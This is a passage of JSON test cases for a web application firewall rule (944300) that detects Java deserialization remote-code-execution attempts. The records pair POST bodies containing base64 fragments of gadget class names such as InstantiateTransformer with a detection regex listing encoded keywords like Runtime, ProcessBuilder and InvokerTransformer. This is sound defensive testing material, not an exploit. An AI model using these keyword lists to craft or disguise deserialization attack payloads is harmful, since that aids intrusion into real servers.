"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Gluc3RhbnRpYXRldHJhbnNmb3JtZXI=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Gluc3RhbnRpYXRldHJhbnNmb3JtZXI\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Gluc3RhbnRpYXRldHJhbnNmb3JtZXI</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Gluc3RhbnRpYXRldHJhbnNmb3JtZXI</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Gluc3RhbnRpYXRldHJhbnNmb3JtZXI\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Gluc3RhbnRpYXRldHJhbnNmb3JtZXI\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 